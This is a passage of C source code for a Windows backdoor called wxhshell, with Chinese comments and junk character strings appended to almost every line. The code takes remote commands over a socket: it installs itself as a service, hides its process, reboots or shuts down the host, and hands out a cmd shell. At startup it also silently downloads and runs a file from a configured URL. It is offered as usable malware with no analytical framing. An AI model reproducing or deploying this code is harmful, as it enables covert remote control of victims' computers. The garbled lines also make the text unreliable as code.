  case '?': { k^:)|Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [kM)K'-  
    break; vT#zc)j  
  } Ep>3%{V  
  // 安装 g[!t@K  
  case 'i': { w$MFCJ:p&  
    if(Install()) NTkGLD1e.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `lX |yy"  
    else /GD4GWv :  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yZj:Kp+7  
    break; =* oFs|v  
    } zxTcjC)y  
  // 卸载 wt0^R<28  
  case 'r': { B"ZW.jMaI  
    if(Uninstall()) .DiH)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AKk6kI8F  
    else ~ODm?k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1JM EniB+9  
    break; p%pM3<p  
    } 8D@H4O.  
  // 显示 wxhshell 所在路径 }RowAGWL  
  case 'p': { =UE/GTbl  
    char svExeFile[MAX_PATH];  G?AZ%Yx  
    strcpy(svExeFile,"\n\r"); ze@NqCF  
      strcat(svExeFile,ExeFile); (A|Gb2X  
        send(wsh,svExeFile,strlen(svExeFile),0); @KfFt R-;  
    break; TPH`{  
    } ViIt 'WX  
  // 重启 $hZb<Xz  
  case 'b': { sEP-jEuwG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DN3#W w2[r  
    if(Boot(REBOOT)) BQu_)@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kclClB:PS  
    else { W ZdEfY{  
    closesocket(wsh); ,\laqH\ 1%  
    ExitThread(0); \x P$m|Y3  
    } SR7$m<0t*  
    break; 0*^ J;QGE  
    } nk|j(D  
  // 关机 6A&e2K>A  
  case 'd': { v]SHude{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A{3Aw|;  
    if(Boot(SHUTDOWN)) ()a(PvEO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m7}PJ^*b  
    else { <Z GEmQ  
    closesocket(wsh); mN Hd  
    ExitThread(0); \n$s5i-  
    } G- wQ weJ9  
    break; +aR.t@D+"Y  
    } D;VQoO  
  // 获取shell &/R`\(hEA  
  case 's': { -e0C Bp  
    CmdShell(wsh); &D0suK#  
    closesocket(wsh); ?0 93'lA  
    ExitThread(0); c@;$6WSG^  
    break; ilJeI@  
  } = }0M^F  
  // 退出 {5w'.Z]0v  
  case 'x': { q_S`@2Dzz,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S81Z\=eK  
    CloseIt(wsh); Ww-%s9N<  
    break; #2l6'gWE0  
    } Fb#.Gg9b>  
  // 离开 *W aL}i(P1  
  case 'q': { GO0Spf_Gh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AT Dm$ *  
    closesocket(wsh); Jf6u E?.  
    WSACleanup(); Elth xj  
    exit(1); 9 f$S4O5  
    break; 8fA9yQ 8  
        } oE@{h$=  
  } tgoOzk^  
  } AE0d0Y~9  
7yp7`|,p  
  // 提示信息 WvSh i=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >`L)E,=/  
} ."b=dkx  
  } $Lg% CY  
%{qJkjG  
  return; NJK?5{H'  
} hpp>+=  
Xb +)@Y4h  
// shell模块句柄 }%LwaRT  
int CmdShell(SOCKET sock) SxV(.i'  
{ HgL*/d  
STARTUPINFO si; $T7hY$2Q l  
ZeroMemory(&si,sizeof(si)); bU'{U0lM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {.F``2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D~_|`D5WK  
PROCESS_INFORMATION ProcessInfo; `s74g0h  
char cmdline[]="cmd"; kB_uU !G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KQ'fp:5|/@  
  return 0; jCdKau&9  
} HRS|VC$tz  
SjgF&LD  
// 自身启动模式 *4}l V8  
int StartFromService(void) S~^0 _?  
{ &X0/7)*"v  
typedef struct nsR^TD;  
{ uV1H iv-  
  DWORD ExitStatus; bDd$79@m  
  DWORD PebBaseAddress; +<&\*VR  
  DWORD AffinityMask; V lb L p;  
  DWORD BasePriority; _J^q|  
  ULONG UniqueProcessId; 7+] T}4;  
  ULONG InheritedFromUniqueProcessId; T3 xr Ua&  
}   PROCESS_BASIC_INFORMATION; `< 8Fc`;[  
N,v4SIC@  
PROCNTQSIP NtQueryInformationProcess; *;A I0  
Q]X0 O10  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 48,Aq*JFw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SPKen}g  
?m-kpW8  
  HANDLE             hProcess; Y68`B"3  
  PROCESS_BASIC_INFORMATION pbi; 9HMW!DSK`  
<}'hkEh{d=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pKK&+umg  
  if(NULL == hInst ) return 0; G#V5E)Dx  
w`XwW#!}@$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Yo0%5 noz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7Cf%v`B4D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FI@2K M  
^9T6Ix{=  
  if (!NtQueryInformationProcess) return 0; EFeGxM  
!NuYx9L?L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H8 yc<  
  if(!hProcess) return 0; KLBV(`MS  
-,j J{Y~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .XM3oIaW  
rN#ydw:9  
  CloseHandle(hProcess); _DfI78`(  
5vIuH+0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !v\m%t|.  
if(hProcess==NULL) return 0; $eQ_!7Gom$  
8 OC5L1  
HMODULE hMod; ;aYPv8s~,:  
char procName[255]; Wo5G23:xz  
unsigned long cbNeeded; bu"Jb4_a>  
N]cGJU>$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y+N^_2@+C  
^5vFF@to  
  CloseHandle(hProcess); p-V#nPb  
ixN>KwH  
if(strstr(procName,"services")) return 1; // 以服务启动 aq3evm  
:6LOb f\01  
  return 0; // 注册表启动 cqeId&Cg  
} G-oC A1UdN  
b><jhbv  
// 主模块 j}8IT  
int StartWxhshell(LPSTR lpCmdLine) /1++ 8=  
{ X?$Eb  
  SOCKET wsl; 0 O4'Ts ?  
BOOL val=TRUE; 9m 56oT'U{  
  int port=0; /b@0HL?  
  struct sockaddr_in door; >K#Z]k  
Jl3l\I'  
  if(wscfg.ws_autoins) Install(); !7J;h{3Uw  
Z91gAy^z<  
port=atoi(lpCmdLine); FM9b0qE  
W#'c6Hq2c  
if(port<=0) port=wscfg.ws_port; a AYO(;3  
(omdmT%D  
  WSADATA data; r5[om$|*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "%ag^v9  
L.(T"`-i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^8)&~q*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U0u@[9!  
  door.sin_family = AF_INET; D+rDgrv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GSV,  
  door.sin_port = htons(port); Fy-nV% P  
bf3LNV|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "n '*_rh>+  
closesocket(wsl); /6F 1=O(c>  
return 1; @FkNT~OZ  
} If6wkY6sR  
P>euUVMPz4  
  if(listen(wsl,2) == INVALID_SOCKET) { 9In&vF7$  
closesocket(wsl); H_;Dq*  
return 1; ` 2|~Z H  
} hX)r%v:  
  Wxhshell(wsl); =pWpHbB.  
  WSACleanup(); /0SG  
3leg,q d  
return 0; ^w2n  
Pb} &c  
} `(;d+fof  
A4';((OXy  
// 以NT服务方式启动  9 N=KU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M; zRf3S  
{ D]y6*Ha  
DWORD   status = 0; e^~t52]  
  DWORD   specificError = 0xfffffff; ~'fa,XZ<  
f]T1:N*t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !QVd'e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Djf2ir'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !dhZs?/UI  
  serviceStatus.dwWin32ExitCode     = 0; oBqP^uT>a|  
  serviceStatus.dwServiceSpecificExitCode = 0; !nVX .m9  
  serviceStatus.dwCheckPoint       = 0; z('93vsO  
  serviceStatus.dwWaitHint       = 0; R$,`}@VqZ3  
k`)LO`))  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yF0,}  
  if (hServiceStatusHandle==0) return; 1b3Lan_2  
8SAz,m!W)  
status = GetLastError(); "G6d'xkP  
  if (status!=NO_ERROR) ^0{S!fs  
{ *B:{g>0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U\VwJ2 {i  
    serviceStatus.dwCheckPoint       = 0; 'Iyk`=R  
    serviceStatus.dwWaitHint       = 0; fY%Sw7ql<  
    serviceStatus.dwWin32ExitCode     = status; W\~ZmA.  
    serviceStatus.dwServiceSpecificExitCode = specificError; <S$y=>.9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8QC:ro  
    return; HqYaQ~Dth  
  } 't)j  
'[-H].-!   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m(OBk;S~   
  serviceStatus.dwCheckPoint       = 0; bMSF-lQ  
  serviceStatus.dwWaitHint       = 0; `SW`d<+L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MeplM$9  
} !uO|T'u0a  
=Fj : #s  
// 处理NT服务事件,比如:启动、停止 _l8oB)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9(X *[X#  
{ R:ar85F  
switch(fdwControl) q"5 2-42  
{ um8ZhXq  
case SERVICE_CONTROL_STOP: n,HWVo>([  
  serviceStatus.dwWin32ExitCode = 0; ,MvvW{EY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _v $mGZpGY  
  serviceStatus.dwCheckPoint   = 0; ;N1FP*  
  serviceStatus.dwWaitHint     = 0; KPO((G0&  
  { R6:N`S]&d[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >XZq=q]E!  
  } z.H`a+cl  
  return; O-'T*M>  
case SERVICE_CONTROL_PAUSE: 1^W Aps  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0>?mF]M  
  break; l{pF^?K  
case SERVICE_CONTROL_CONTINUE: @%fkW"y:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ftH 0aI  
  break; 4%6Q+LS']Q  
case SERVICE_CONTROL_INTERROGATE: &WRoNc  
  break; v0xi(Wu  
}; 2 rBF<z7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); { U<h tl4  
} s3knh&'zb  
 9q5[W=|  
// 标准应用程序主函数 E nUo B<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $N ]P#g?Q  
{ a* D|$<V  
0y1t%C075  
// 获取操作系统版本 =1JRu[&]8  
OsIsNt=GetOsVer(); Bh.'%[',  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Bl1I "B  
.5z|g@ 6  
  // 从命令行安装 d+w<y~\ q  
  if(strpbrk(lpCmdLine,"iI")) Install(); @kK=|(OB'  
H9Z3.F(2  
  // 下载执行文件 rTJWftH!  
if(wscfg.ws_downexe) { <w A_2S Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y\=:j7'  
  WinExec(wscfg.ws_filenam,SW_HIDE); (Zn\S*_@/  
} %2+]3h>g  
@rF\6I  
if(!OsIsNt) { u`~{:V  
// 如果时win9x,隐藏进程并且设置为注册表启动 E}GSii%S  
HideProc(); /6fPC;l  
StartWxhshell(lpCmdLine); M#p,Z F  
} 'GyPl  
else =1(BKk>  
  if(StartFromService()) Qi}LV"&L  
  // 以服务方式启动 ][mc^eI0s|  
  StartServiceCtrlDispatcher(DispatchTable); lyPXlt  
else W7 E-j+2  
  // 普通方式启动 X>4`{x`  
  StartWxhshell(lpCmdLine); 9..k/cH  
a]k&$  
return 0; {3R ax5Ty  
}
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只看该作者 1 发表于: 2006-10-10
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